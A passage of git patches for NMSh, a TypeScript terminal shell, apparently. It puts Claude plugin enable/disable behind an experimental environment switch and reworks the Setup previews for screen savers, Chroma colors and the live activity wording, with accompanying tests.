raw.id, scope: raw.scope === 'user' || raw.scope === 'project' || raw.scope === 'local' ? raw.scope : 'user', ...(raw.projectPath ? {projectPath: raw.projectPath} : {}), ...(profile?.configDir ? {configDir: profile.configDir} : {})}, - toggle: override ? {supported: false, reason: `This project's ${override.file} decides it here; NMSh changes only the scope a plugin is installed at`} : {supported: true}}); + toggle: override ? {supported: false, reason: `This project's ${override.file} decides it here; NMSh changes only the scope a plugin is installed at`} + : claudePluginWrites() ? {supported: true} + : {supported: false, reason: `Turning plugins on and off from NMSh is not verified in this release. In a shell: claude plugin ${enabled === true ? 'disable' : 'enable'} ${raw.id} --scope ${raw.scope === 'user' || raw.scope === 'project' || raw.scope === 'local' ? raw.scope : 'user'}`}}); } return entries; } @@ -158,12 +160,26 @@ export async function standaloneSkills(configDir: string, profile?: string): Pro export interface ToggleResult {ok: boolean; message: string; alreadyInGoalState?: boolean} +/** The experimental switch for writing Claude's plugin settings from NMSh (NMSH_EXPERIMENTAL_CLAUDE_PLUGIN_TOGGLE=1). */ +export const CLAUDE_PLUGIN_WRITES_ENV = 'NMSH_EXPERIMENTAL_CLAUDE_PLUGIN_TOGGLE'; + +/** + * Whether NMSh may change Claude plugin settings. Off by default: the enable/disable path has never been verified + * against a live account, and it writes the person's Claude settings. The inventory, states and Inspect are read-only + * and stay. Managed Claude is beta; this release defers its physical QA (items 4.1-4.3). + */ +export function claudePluginWrites(env: NodeJS.ProcessEnv = process.env): boolean { + return env[CLAUDE_PLUGIN_WRITES_ENV] === '1'; +} + /** * Enable or disable an installed plugin at the scope it is installed at, through `claude plugin enable|disable * --scope … --json`. Only ids from the current listing are accepted: Claude's own command writes an unknown id into * settings as if it existed, so NMSh never sends one. */ export async function setPluginEnabled(executable: string, entry: ModEntry, enable: boolean, installed: ReadonlySet): Promise { + // Never reached without the switch (Space is not offered); refused here too, whatever the caller. + if (!claudePluginWrites()) return {ok: false, message: 'Turning plugins on and off from NMSh is not verified in this release'}; const claude = entry.claude; if (!claude || !PLUGIN_ID.test(claude.pluginId) || !installed.has(claude.pluginId)) return {ok: false, message: 'Not an installed Claude plugin in the current listing'}; const args = ['plugin', enable ? 'enable' : 'disable', claude.pluginId, '--scope', claude.scope, '--json']; diff --git a/tests/claudePlugins.test.ts b/tests/claudePlugins.test.ts index 7ccbbcc6..44040cf9 100644 --- a/tests/claudePlugins.test.ts +++ b/tests/claudePlugins.test.ts @@ -4,7 +4,11 @@ import {chmodSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync, import {tmpdir} from 'node:os'; import {join} from 'node:path'; import {spawnSync} from 'node:child_process'; -import {claudePluginEntries, drawsOnly, inspectPlugin, managedRuntime, readComponents, setPluginEnabled, standaloneSkills} from '../src/agents/mods/claudePlugins.js'; +import {CLAUDE_PLUGIN_WRITES_ENV, claudePluginEntries, drawsOnly, inspectPlugin, managedRuntime, readComponents, setPluginEnabled, standaloneSkills} from '../src/agents/mods/claudePlugins.js'; + +// The enable/disable path is off by default in this release (unverified against a live account); these tests +// exercise it behind its experimental switch. The default is checked on its own below. +process.env[CLAUDE_PLUGIN_WRITES_ENV] = '1'; import {withLoadedIn} from '../src/agents/mods/inventory.js'; import {ModsController, modsKeyAction} from '../src/agents/mods/controller.js'; import {renderMods} from '../src/agents/mods/view.js'; @@ -223,3 +227,19 @@ test('the real installed Claude, read-only: every listed plugin parses, with a t assert.ok(entries.every(entry => entry.nativeType && entry.enabled !== 'unknown'), configDir); } }); + +test('default: plugin changes are off and explained; the inventory stays; Claude is never run to change anything', async () => { + const saved = process.env[CLAUDE_PLUGIN_WRITES_ENV]; + delete process.env[CLAUDE_PLUGIN_WRITES_ENV]; + try { + const listing = [{id: 'skins@market', version: '1.0.0', scope: 'user', enabled: true, installPath: '/nonexistent/skins'}]; + const [entry] = await claudePluginEntries(listing, '/nonexistent-project'); + assert.equal(entry!.enabled, 'yes', 'what Claude reports is still read and shown'); + assert.deepEqual(entry!.toggle, {supported: false, reason: 'Turning plugins on and off from NMSh is not verified in this release. In a shell: claude plugin disable skins@market --scope user'}); + // Even a direct call never starts Claude: the executable here would fail the test if it ran. + assert.deepEqual(await setPluginEnabled('/nonexistent/claude-must-not-run', entry!, false, new Set(['skins@market'])), + {ok: false, message: 'Turning plugins on and off from NMSh is not verified in this release'}); + } finally { + if (saved === undefined) delete process.env[CLAUDE_PLUGIN_WRITES_ENV]; else process.env[CLAUDE_PLUGIN_WRITES_ENV] = saved; + } +}); From afd881177b1dac3d8a21f543c48e60f553ba7c03 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Fri, 16 Oct 2026 01:44:17 +0530 Subject: [PATCH 10/16] Setup: previews that show the real result; Chroma says what hides it MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Physical QA found Setup's appearance choices hard to judge: screen savers previewed as an empty or unrelated star field, choosing a Chroma changed nothing visible, and the activity wording was a muted, truncated note. - One screen saver preview for Setup, the color editor and /screensaver (idlePreviewRows): Black Hole, Fireworks, Circletastic and raiseCatError animate a fixed sample NMSh screen where no screen is captured (never the Setup panel or anything private), and Random shows each saver it can actually choose, from the registry, in turn, naming it. - The Chroma preview follows the setting: choosing one shows it at once; P compares with the base theme until the choice changes. The Chroma row says what will show and what hides or stills it: Off by default, NO_COLOR, an external prompt or Prompt None, Decorative effects Off, Reduced Motion, identity modules only. - Selecting an activity row previews the real running, finished and failed lines (Expressive by default: Cooking… then Cooked for 18s; failures stay factual), at secondary contrast. --- src/app/TerminalApp.ts | 86 +++++++++++++++++++++++++++++--------- src/idle/IdleVisuals.ts | 59 ++++++++++++++++++++++++-- src/setup/SetupCat.ts | 41 ++++++++++++++++-- tests/fullChromaQa.test.ts | 40 ++++++++++++++++-- tests/idlePreview.test.ts | 53 +++++++++++++++++++++++ 5 files changed, 249 insertions(+), 30 deletions(-) create mode 100644 tests/idlePreview.test.ts diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index dbb1244e..b8ba3b82 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -30,13 +30,12 @@ import {referenceCopyText, referencePaletteItems} from '../ui/ReferenceMenu.js'; import {integrationActivation} from '../tools/Activation.js'; import {confirmToolInstall, createToolsPanel, refreshTools, renderTools, toolsKey, type ToolsPanel} from '../tools/ToolsPanel.js'; import {describeCommandSource, describeSlashCommand, inspectCommand, renderInspector} from '../shell/CommandInspector.js'; -import {CHROMA_PREVIEW_NOTE, createSetup, NATIVE_ONLY_NOTE, renderSetup, SETUP_MIN_SIZE, SETUP_SECTIONS, setupIsIdempotent, setupKey, setupSelectedRow, type SetupState} from '../setup/SetupCat.js'; +import {CHROMA_PREVIEW_NOTE, createSetup, NATIVE_ONLY_NOTE, renderSetup, SETUP_MIN_SIZE, SETUP_SECTIONS, setupIsIdempotent, setupKey, setupSelectedRow, type SetupState, setupShowsChroma, chromaVisibilityNote} from '../setup/SetupCat.js'; import {glyphDiagnosticRows} from '../setup/glyphDiagnostic.js'; import {fits, renderTooSmall, type MinimumSize} from '../ui/Modal.js'; import {CellGrid} from '../idle/CellGrid.js'; -import {IDLE_FRAME_MS, type IdleMode} from '../idle/scenes.js'; -import {createScreensaverPanel, effectiveMode, idleFrameRows, idleMotion, idlePaletteFor, previewSize, renderScreensaverPanel, sceneTime, - SCREENSAVER_MIN_SIZE, screensaverKey, IDLE_SEED, type ScreensaverPanelState} from '../idle/IdleVisuals.js'; +import {IDLE_FRAME_MS, type IdleMode, IDLE_MODE_LABELS} from '../idle/scenes.js'; +import {createScreensaverPanel, effectiveMode, idleFrameRows, idleMotion, idlePaletteFor, previewSize, renderScreensaverPanel, sceneTime, SCREENSAVER_MIN_SIZE, screensaverKey, IDLE_SEED, type ScreensaverPanelState, idlePreviewRows, previewSaver} from '../idle/IdleVisuals.js'; import {captureFromRows, cropCapture, type ScreenCapture} from '../idle/screenCapture.js'; import {makeRng} from '../idle/screenEffects.js'; import {SCREEN_MODE_EFFECT, pickRandomSaver, saverLoopComplete, IDLE_FRAME_MS as SAVER_FRAME_MS} from '../idle/scenes.js'; @@ -532,6 +531,8 @@ export class TerminalApp { private screensaverPanel?: ScreensaverPanelState; private screensaverAnimation?: () => void; private readonly screensaverGrid = new CellGrid(); + /** The sample screen previews animate when no screen of the person's is captured (see idlePreviewRows). */ + private readonly idleSample: {key?: string; capture?: ScreenCapture} = {}; /** Custom UI chrome colors draft. */ private chromeEditor?: ChromeEditorState; /** Custom colors for idle visuals or Live activity, in the shared gradient stop editor. */ @@ -5710,11 +5711,15 @@ export class TerminalApp { private setupPreview(state: SetupState, columns: number): string[] { const section0 = SETUP_SECTIONS[state.section]?.id; // Prompt/Appearance previews show the base theme unless the local preview switch asks for the draft's Chroma. - const rawPreview = (section0 === 'appearance' || section0 === 'prompt') && !state.previewChroma; + // The preview shows the draft's Chroma as soon as it is on; P compares with the base theme. + const chromaStep = section0 === 'appearance' || section0 === 'prompt'; + const shown = chromaStep && setupShowsChroma(state); + const rawPreview = chromaStep && !shown; const draft = rawPreview ? {...state.draft, presentation: {...state.draft.presentation, preset: 'off' as const}} : state.draft; - const chromaNote = section0 === 'appearance' || section0 === 'prompt' - ? [` ${PRIMARY}\u001b[1mPreview Chroma${RESET} ${SUBTLE}${state.previewChroma ? 'On' : 'Off'} · Chroma setting ${state.draft.presentation.preset === 'off' ? 'Off' : TREATMENT_PRESET_LABELS[state.draft.presentation.preset]} · P toggles the preview only${RESET}`, - ` ${SUBTLE}${chromaPreviewNote(Boolean(state.previewChroma) && state.draft.presentation.preset !== 'off')}${RESET}`] : []; + const preset = state.draft.presentation.preset; + const chromaNote = chromaStep + ? [` ${PRIMARY}\u001b[1mChroma setting${RESET} ${SECONDARY}${preset === 'off' ? 'Off' : TREATMENT_PRESET_LABELS[preset]}${RESET} ${SUBTLE}· preview shows ${shown ? 'it' : 'the base theme'}${preset === 'off' ? '' : ` · P ${shown ? 'compares with the base theme' : 'shows Chroma again'}`}${RESET}`, + ` ${SECONDARY}${chromaVisibilityNote(state.draft)}${RESET}`] : []; const section = SETUP_SECTIONS[state.section]?.id; const width = Math.max(10, columns - 4); const label = (text: string) => ` ${SUBTLE}${text.padEnd(12)}${RESET}`; @@ -5834,12 +5839,24 @@ export class TerminalApp { break; } case 'idle': { + // The activity rows show the running and finished wording, not the screen saver. + const selectedId = setupSelectedRow(state)?.row.id; + if (selectedId === 'activityStyle' || selectedId === 'activityColors' || selectedId === 'setupActivityColors') { + rows.push(...this.setupActivityPreview(draft, state)); + animate = !motion.still && !motion.disabled; + break; + } if (motion.disabled) { rows.push(` ${SUBTLE}Decorative effects Off: idle visuals stay off.${RESET}`); break; } const mode = effectiveMode(draft.idleVisuals.mode, motion); - const elapsed = Date.now() - this.lastActivity; - rows.push(...idleFrameRows(this.screensaverGrid, {mode, width: Math.max(10, Math.min(56, columns - 6)), height: 6, palette: idlePaletteFor(draft), - level: colorLevel(), nerd: getCurrentGlyphMode() === 'nerd', time: motion.still ? 20_000 : sceneTime(elapsed, Math.floor(elapsed / IDLE_FRAME_MS[mode]), mode)}) - .map(line => ` ${line}`)); + // The real saver over a sample screen (the screen-animating ones need one), restarted when the mode changes; + // Random shows each saver it can choose, in turn, and says which. + const signature = `idle|${mode}`; + const now = Date.now(); + if (state.previewKey !== signature) { state.previewKey = signature; state.previewStart = now; } + const preview = idlePreviewRows(this.screensaverGrid, {mode, width: Math.max(10, Math.min(56, columns - 6)), height: 7, palette: idlePaletteFor(draft), + level: colorLevel(), nerd: getCurrentGlyphMode() === 'nerd', elapsed: now - (state.previewStart ?? now), still: motion.still, sample: this.idleSample}); + rows.push(` ${SUBTLE}Preview · ${mode === 'random' ? `Random · now ${IDLE_MODE_LABELS[preview.shown]}` : IDLE_MODE_LABELS[preview.shown]}${SCREEN_MODE_EFFECT[preview.shown] ? ' · over a sample screen; it animates your real screen' : ''}${motion.still ? ' · still (Reduced Motion)' : ''}${RESET}`, + ...preview.rows.map(line => ` ${line}`)); animate = !motion.still; break; } @@ -5858,6 +5875,36 @@ export class TerminalApp { return [...chromaNote, ...rows].map(row => truncateAnsi(row, columns - 2)); } + /** + * The live activity wording as a command shows it, through the real renderers: while it runs (with the live + * activity colors and sweep), when it finishes, and when it fails, which stays factual in every style. + */ + private setupActivityPreview(draft: PromptConfiguration, state: SetupState): string[] { + const expressive = draft.liveActivity.style === 'expressive'; + const pair = expressive ? {active: 'Cooking', complete: 'Cooked'} : undefined; + const now = Date.now(); + const signature = `activity|${draft.liveActivity.style}|${JSON.stringify(draft.liveActivity)}`; + if (state.previewKey !== signature) { state.previewKey = signature; state.previewStart = now; } + const elapsed = now - (state.previewStart ?? now); + const still = !this.decorativeMotionAllowed() || sweepStill(draft); + const parts = liveActivityParts('npm run build', 4200, still ? 0 : elapsed, pair); + const {cells, style} = liveActivityPaint(parts.phrase, draft, still ? 0 : elapsed, still); + const running = `${sweepCells(cells, still ? 0 : elapsed, style, colorLevel(), still)}${SECONDARY}${parts.duration}${RESET}`; + const at = new Date(2026, 0, 1, 14, 46); + const done = completedActivity('npm run build', 18_000, at, 0, false, undefined, pair); + const failed = completedActivity('npm run build', 2000, at, 1, false, undefined, pair); + const label = (text: string) => ` ${SECONDARY}${text.padEnd(11)}${RESET}`; + return [ + ` ${PRIMARY}\u001b[1m${expressive ? 'Expressive' : 'Classic'}${RESET} ${SECONDARY}${expressive ? 'a phrase while it runs, its past tense when done' : 'plain words: Running, then Completed'}${RESET}`, + '', + `${label('Running')}${running}`, + `${label('Completed')}${SUCCESS}${done.main}${RESET}${SECONDARY}${done.detail}${RESET}`, + `${label('Failed')}${ERROR}${failed.main}${RESET}${SECONDARY}${failed.detail}${RESET}`, + '', + ` ${SECONDARY}Failures and interrupts always keep their plain wording and exit code.${RESET}`, + ]; + } + /** * A compact, representative picture of the Editor step: where the composer * sits, Normal or Chat transcript rows, a folded output block, syntax @@ -6033,8 +6080,9 @@ export class TerminalApp { const size = previewSize(columns, rows); const mode = effectiveMode(settings.mode, motion); const elapsed = Date.now() - state.startedAt; - // Screen savers preview over the real screen snapshot taken when the gallery opened (cropped to the preview box). - const previewMode: IdleMode = mode === 'random' ? 'blackHole' : mode; + // Screen savers preview over the real screen snapshot taken when the gallery opened (cropped to the preview box); + // Random previews each saver it can choose, in turn. + const previewMode: IdleMode = previewSaver(mode, elapsed).mode; let capture: ScreenCapture | undefined; if (SCREEN_MODE_EFFECT[previewMode] && this.saverCapture) { if (!this.saverGalleryCapture || this.saverGalleryCapture.width !== Math.min(size.width, this.saverCapture.width) || this.saverGalleryCapture.height !== Math.min(size.height, this.saverCapture.height) || this.saverGalleryMode !== previewMode) { @@ -6042,9 +6090,9 @@ export class TerminalApp { } capture = this.saverGalleryCapture; } - const preview = motion.disabled ? [] : idleFrameRows(this.screensaverGrid, {mode: previewMode, width: capture?.width ?? size.width, height: capture?.height ?? size.height, - time: motion.still ? 20_000 : sceneTime(elapsed, Math.floor(elapsed / IDLE_FRAME_MS[mode]), mode), - palette: idlePaletteFor(this.promptConfiguration), level: colorLevel(), nerd: getCurrentGlyphMode() === 'nerd', ...(capture ? {capture} : {})}); + const preview = motion.disabled ? [] : idlePreviewRows(this.screensaverGrid, {mode, width: capture?.width ?? size.width, height: capture?.height ?? size.height, + elapsed, still: motion.still, palette: idlePaletteFor(this.promptConfiguration), level: colorLevel(), nerd: getCurrentGlyphMode() === 'nerd', + ...(capture ? {capture} : {}), sample: this.idleSample}).rows; // A real animated preview while the gallery is open; one timer, removed with the panel. if (!motion.still && !motion.disabled && !this.screensaverAnimation) { this.screensaverAnimation = presentationClock.subscribe(() => { if (this.screensaverPanel) this.render(); }, Math.max(120, IDLE_FRAME_MS[mode])); @@ -6110,8 +6158,8 @@ export class TerminalApp { const title = editor.target === 'idle' ? 'Idle visuals · Custom colors' : 'Live activity · Custom colors'; const rows = ['', ...renderGradientEditorRows(editor.gradient, title).map(row => ` ${row}`), '', ` ${SUBTLE}${GLYPHS.separator.repeat(2)} Preview${RESET}`]; if (editor.target === 'idle') { - rows.push(...idleFrameRows(this.screensaverGrid, {mode: draft.idleVisuals.mode, width: Math.max(10, Math.min(56, columns - 6)), height: 5, - palette: idlePaletteFor(draft), level: colorLevel(), nerd: getCurrentGlyphMode() === 'nerd', time: 20_000}).map(line => ` ${line}`)); + rows.push(...idlePreviewRows(this.screensaverGrid, {mode: draft.idleVisuals.mode, width: Math.max(10, Math.min(56, columns - 6)), height: 5, + palette: idlePaletteFor(draft), level: colorLevel(), nerd: getCurrentGlyphMode() === 'nerd', elapsed: 2000, still: true, sample: this.idleSample}).rows.map(line => ` ${line}`)); } else { const {cells, style} = liveActivityPaint('• Running sleep 5 · ', draft); rows.push(` ${sweepCells(cells, Number.POSITIVE_INFINITY, style, colorLevel(), true)}${SECONDARY}3.4s${RESET}`, diff --git a/src/idle/IdleVisuals.ts b/src/idle/IdleVisuals.ts index 423a6402..20d05099 100644 --- a/src/idle/IdleVisuals.ts +++ b/src/idle/IdleVisuals.ts @@ -8,10 +8,10 @@ import {themeChromaStops} from '../prompt/prompt.js'; import {isDeterministicPresentation} from '../presentation/environment.js'; import type {ColorLevel} from '../presentation/capabilities.js'; import {CellGrid} from './CellGrid.js'; -import type {ScreenCapture} from './screenCapture.js'; +import {captureFromRows, type ScreenCapture} from './screenCapture.js'; import { - HIGH_MOTION, IDLE_FRAME_MS, IDLE_MODE_LABELS, IDLE_MODE_NOTES, IDLE_MODES, idlePalette, reducedMotionScene, renderScene, - type IdleMode, type IdlePalette, + HIGH_MOTION, IDLE_FRAME_MS, IDLE_MODE_LABELS, IDLE_MODE_NOTES, IDLE_MODES, idlePalette, randomCandidates, reducedMotionScene, renderScene, + SCREEN_MODE_EFFECT, type IdleMode, type IdlePalette, } from './scenes.js'; import {framePanel} from '../ui/PanelShell.js'; import {renderControls} from '../ui/controls.js'; @@ -91,6 +91,59 @@ export function idleFrameRows(grid: CellGrid, input: IdleFrameInput): string[] { return grid.toRows(input.level); } +/** + * What an NMSh session looks like, for previewing a screen saver that animates the screen (Black Hole, Fireworks, + * Circletastic, raiseCatError) where no screen of the person's is captured (Setup, the color editor). Fixed text: the + * preview never captures the Setup panel or anything private. + */ +const SAMPLE_SCREEN = [ + '\u001b[38;2;197;185;232m❯\u001b[0m npm test', + ' \u001b[38;2;116;181;154m✔\u001b[0m 42 passing \u001b[38;2;125;133;144m(1.2s)\u001b[0m', + '\u001b[38;2;197;185;232m❯\u001b[0m git status --short', + ' \u001b[38;2;205;115;123mM\u001b[0m src/app/TerminalApp.ts', + '\u001b[38;2;125;133;144m??\u001b[0m notes/ideas.md', + '\u001b[38;2;197;185;232m❯\u001b[0m make build', + '\u001b[38;2;205;115;123merror:\u001b[0m expected \';\' at main.c:12', + '\u001b[38;2;197;185;232m❯\u001b[0m ls', + 'README.md package.json src tests', +]; + +export function sampleCapture(width: number, height: number): ScreenCapture { + return captureFromRows(SAMPLE_SCREEN, width, height, IDLE_SEED); +} + +/** How long Random's preview shows each saver it can pick before the next. */ +export const RANDOM_PREVIEW_DWELL_MS = 6000; + +/** + * The saver a preview shows for a mode at `elapsed`: the mode itself, or for Random each of the savers Random can + * actually choose (the registry's own candidates), in turn, with the time into that one. + */ +export function previewSaver(mode: IdleMode, elapsed: number): {mode: IdleMode; elapsed: number} { + if (mode !== 'random') return {mode, elapsed}; + const candidates = randomCandidates().filter((id): id is IdleMode => (IDLE_MODES as readonly string[]).includes(id)); + if (!candidates.length) return {mode: 'deepSpace', elapsed}; + return {mode: candidates[Math.floor(elapsed / RANDOM_PREVIEW_DWELL_MS) % candidates.length]!, elapsed: elapsed % RANDOM_PREVIEW_DWELL_MS}; +} + +/** + * One preview frame of a screen saver, as the real renderer draws it: screen effects run over `capture` (the + * gallery's snapshot of the real screen) or over the sample screen. `sample` keeps the sample capture between + * frames (a screen effect keeps its own state per capture) and restarts it when the saver or size changes. + */ +export function idlePreviewRows(grid: CellGrid, input: Omit & {elapsed: number; still: boolean; capture?: ScreenCapture; + sample: {key?: string; capture?: ScreenCapture}}): {rows: string[]; shown: IdleMode} { + const {mode, elapsed} = previewSaver(input.mode, input.elapsed); + let capture = SCREEN_MODE_EFFECT[mode] ? input.capture : undefined; + if (SCREEN_MODE_EFFECT[mode] && !capture) { + const key = `${mode}|${input.width}x${input.height}|${input.mode === 'random' ? Math.floor(input.elapsed / RANDOM_PREVIEW_DWELL_MS) : 0}`; + if (input.sample.key !== key || !input.sample.capture) { input.sample.key = key; input.sample.capture = sampleCapture(input.width, input.height); } + capture = input.sample.capture; + } + const time = input.still ? 20_000 : sceneTime(elapsed, Math.floor(elapsed / IDLE_FRAME_MS[mode]), mode); + return {rows: idleFrameRows(grid, {mode, width: input.width, height: input.height, time, palette: input.palette, level: input.level, nerd: input.nerd, ...(capture ? {capture} : {})}), shown: mode}; +} + // ---- /screensaver gallery -------------------------------------------------------- type GalleryRow = 'mode' | 'color' | 'timeout' | 'preview'; diff --git a/src/setup/SetupCat.ts b/src/setup/SetupCat.ts index e746c034..c156347d 100644 --- a/src/setup/SetupCat.ts +++ b/src/setup/SetupCat.ts @@ -1,3 +1,6 @@ +import {TREATMENT_PRESET_LABELS} from '../chroma/treatment.js'; +import {isReducedMotion} from '../presentation/environment.js'; +import {colorLevel} from '../presentation/capabilities.js'; import type {Key} from '../terminal/keys.js'; import { DEFAULT_PROMPT_CONFIGURATION, normalizePromptConfiguration, WELCOME_PROVIDER_IDS, @@ -263,7 +266,8 @@ export const SETUP_SECTIONS: readonly SetupSection[] = [ {row: nativeOnly(SEPARATOR_ROW)}, {row: configRow('promptSymbol')}, // The one canonical Chroma setting (also in Appearance, /prompt, /appearance and /chroma). - {row: configRow('treatmentPreset'), note: () => 'The same Chroma setting as Appearance and /chroma; P toggles the preview only'}, + // The one canonical Chroma setting (also in Appearance, /prompt, /appearance and /chroma); its note says what will show. + {row: configRow('treatmentPreset'), note: draft => chromaVisibilityNote(draft)}, routeRow('setupPromptModules', 'Prompt modules & custom glyphs', 'Which modules show and in what order, and your own separator or prompt glyph, in /prompt', 'prompt', 'Prompt'), ], dynamicRows: draft => promptStyleRows(draft)}, {id: 'appearance', title: 'Appearance', intro: [ @@ -279,7 +283,7 @@ export const SETUP_SECTIONS: readonly SetupSection[] = [ {row: configRow('promptVibrance')}, {row: configRow('uiChrome')}, {row: configRow('uiChromePreset')}, - {row: configRow('treatmentPreset'), note: () => `${CHROMA_SCOPE_NOTE} /chroma has every option`}, + {row: configRow('treatmentPreset'), note: draft => chromaVisibilityNote(draft)}, {row: configRow('treatmentIntensity')}, {row: configRow('treatmentSemantic')}, {row: configRow('treatmentScope')}, @@ -399,7 +403,7 @@ export const SETUP_SECTIONS: readonly SetupSection[] = [ {row: configRow('idleRunBusy')}, {row: configRow('idleColor')}, routeRow('setupIdleColors', 'Edit idle colors', 'The idle visuals\' own gradient stops, with a live preview', 'idleColors', 'Idle visuals'), - {row: configRow('activityStyle'), note: draft => draft.liveActivity.style === 'expressive' ? 'Cooking… then Cooked for 18s; failures and interrupts keep their plain wording and exit code' : 'Running and Completed, as before'}, + {row: configRow('activityStyle'), note: draft => draft.liveActivity.style === 'expressive' ? 'Cooking… while it runs, Cooked for 18s when done; failures stay factual' : 'Running npm test, then Completed; plain words'}, {row: configRow('activityColors'), note: () => 'The running-command line only; finished commands show their plain result'}, routeRow('setupActivityColors', 'Edit live activity colors', 'Gradient stops for the live activity line', 'activityColors', 'Live activity'), ]}, @@ -412,6 +416,21 @@ export const SETUP_SECTIONS: readonly SetupSection[] = [ {id: 'review', title: 'Review & Apply', intro: [], rows: []}, ]; +/** + * What a Chroma choice will visibly do with the rest of this draft, said where Chroma is chosen: Off (the default) and + * every setting that hides it or stills it, so a choice is never made without a visible result and no reason. + */ +export function chromaVisibilityNote(draft: PromptConfiguration, colors = colorLevel() !== 'none'): string { + const presentation = draft.presentation; + if (presentation.preset === 'off') return 'Off (the default): the prompt shows its theme colors. Choose a Chroma and the preview shows it at once'; + if (!colors) return 'NO_COLOR is set: nothing is drawn in color, so Chroma has no visible effect here'; + if (draft.provider !== 'nmsh') return `Chroma colors the Native prompt; ${draft.provider === 'none' ? 'with Prompt None there is no prompt to color' : 'your external prompt keeps its own colors'}, so the prompt will not change`; + const parts = [`${TREATMENT_PRESET_LABELS[presentation.preset]} on the ${presentation.scope === 'identity' ? 'identity modules only (the rest keeps theme colors)' : 'whole Native prompt'}`]; + if (presentation.effectsOff) parts.push('Decorative effects Off: its colors show, its motion stays still'); + else if (presentation.reducedMotion || isReducedMotion()) parts.push('Reduced Motion: its colors show, its motion stays still'); + return `${parts.join(' · ')}; P compares with the base theme`; +} + /** Factual Local understanding copy per mode; nothing here implies a model is installed or downloads on its own. */ function localUnderstandingNote(draft: PromptConfiguration): string { const {mode, model} = draft.localUnderstanding; @@ -477,7 +496,10 @@ export interface SetupState { * draft's Chroma. Off by default so the base theme colors are visible; it * never changes the draft or the saved Chroma. */ + /** P's override of the Chroma preview (undefined: follow the Chroma setting; see setupShowsChroma). */ previewChroma?: boolean; + /** The Chroma choice the override was made for; a new choice returns the preview to following it. */ + previewChromaFor?: string; /** The cursor preview restarts when the selected row or the draft's cursor settings change. */ previewKey?: string; previewStart?: number; @@ -559,6 +581,16 @@ function currentRows(state: SetupState): readonly SetupRow[] { return state.section === sectionIndex('tools') ? [...rows, TOOL_CHOICE_ROW, BROWSE_ROW] : rows; } +/** + * Whether Setup's Prompt and Appearance previews show Chroma: by default whenever the draft's Chroma is on, so choosing + * one is seen at once; P overrides it to compare with the base theme until the Chroma choice changes again. + */ +export function setupShowsChroma(state: SetupState): boolean { + const preset = state.draft.presentation.preset; + if (state.previewChromaFor !== preset) { state.previewChroma = undefined; state.previewChromaFor = preset; } + return preset !== 'off' && (state.previewChroma ?? true); +} + /** The selected row of the current step (undefined on steps without rows). */ export function setupSelectedRow(state: SetupState): SetupRow | undefined { return currentRows(state)[state.row]; @@ -612,7 +644,8 @@ export function setupKey(state: SetupState, key: Key): SetupResult | undefined { } const sectionId = SETUP_SECTIONS[state.section]?.id; if (key.kind === 'text' && key.value.toLowerCase() === 'p' && (sectionId === 'appearance' || sectionId === 'prompt')) { - state.previewChroma = !state.previewChroma; + // The preview follows the Chroma setting; P compares it with the base theme (and back). + state.previewChroma = !setupShowsChroma(state); return undefined; } const last = SETUP_SECTIONS.length - 1; diff --git a/tests/fullChromaQa.test.ts b/tests/fullChromaQa.test.ts index 673453dc..558ea41e 100644 --- a/tests/fullChromaQa.test.ts +++ b/tests/fullChromaQa.test.ts @@ -108,11 +108,18 @@ test('C/H: Setup Cat Appearance says when previews include Chroma, and its Chrom state.draft = normalizePromptConfiguration({presentation: {preset: 'off'}}); assert.doesNotMatch(plain(app['setupPreview'](state, 100)), /previews include Chroma/u); state.draft = normalizePromptConfiguration({presentation: {preset: 'aurora', motion: 'comet'}}); - // The base theme is shown by default; P turns the local preview Chroma on (the setting itself is unchanged). - assert.match(plain(app['setupPreview'](state, 100)), /Preview Chroma Off/u); - state.previewChroma = true; + // Choosing a Chroma shows it in the preview at once (physical QA: a choice with no visible result confused); + // P compares with the base theme (the setting itself is unchanged), and a new choice follows the setting again. + assert.match(plain(app['setupPreview'](state, 100)), /Chroma setting Aurora · preview shows it · P compares with the base theme/u); assert.ok(plain(app['setupPreview'](state, 100)).includes(CHROMA_PREVIEW_NOTE)); - const chromaRow = (rows: string[]) => rows.find(item => stripAnsi(item).trimStart().startsWith('Chroma'))!; + state.previewChroma = false; + assert.match(plain(app['setupPreview'](state, 100)), /preview shows the base theme · P shows Chroma again/u); + assert.ok(!plain(app['setupPreview'](state, 100)).includes(CHROMA_PREVIEW_NOTE)); + state.draft = normalizePromptConfiguration({presentation: {preset: 'nebula', motion: 'comet'}}); + assert.match(plain(app['setupPreview'](state, 100)), /Chroma setting Nebula · preview shows it/u, 'a new choice is shown at once again'); + state.draft = normalizePromptConfiguration({presentation: {preset: 'aurora', motion: 'comet'}}); + // The swatch row (the header above it names the setting). + const chromaRow = (rows: string[]) => rows.find(item => stripAnsi(item).trimStart().startsWith('Chroma') && !stripAnsi(item).trimStart().startsWith('Chroma setting'))!; const realNow = Date.now; try { Date.now = () => 1_000; const first = chromaRow(app['setupPreview'](state, 100)); @@ -365,3 +372,28 @@ test('Q: every completion row shows its description, muted; names keep priority assert.match(stripAnsi(selected), /run a command/u, 'the selected row keeps its description'); assert.match(selected, /\u001B\[1m/u, 'the name is the strongest element'); }); + +test('Setup Idle & activity: the activity rows show the real running, finished and failed wording, Expressive by default', () => { + const {app, cleanup} = harness({}); + try { + app['render'] = () => {}; + app['startSetup'](); + const state = app['setupState']!; + state.section = sectionIndex('idle'); + const rows = SETUP_SECTIONS[state.section]!.rows; + state.row = rows.findIndex(item => item.row.id === 'activityStyle'); + assert.ok(state.row >= 0); + const expressive = plain(app['setupPreview'](state, 100)); + assert.match(expressive, /Expressive {2}a phrase while it runs, its past tense when done/u); + assert.match(expressive, /Running {4}\S Cooking… · 4\.2s/u); + assert.match(expressive, /Completed {2}✔ Cooked for 18\.0s · done 14:46/u); + assert.match(expressive, /Failed {5}✘ Command failed · exit 1 · 2\.0s · 14:46/u, 'a failure stays factual'); + state.draft = normalizePromptConfiguration({...state.draft, liveActivity: {...state.draft.liveActivity, style: 'classic'}}); + const classic = plain(app['setupPreview'](state, 100)); + assert.match(classic, /Running {4}\S Running npm run build · 4\.2s/u); + assert.match(classic, /Completed {2}✔ Completed · 18\.0s · 14:46/u); + // Another row of the step keeps the screen saver preview. + state.row = rows.findIndex(item => item.row.id === 'idleMode'); + 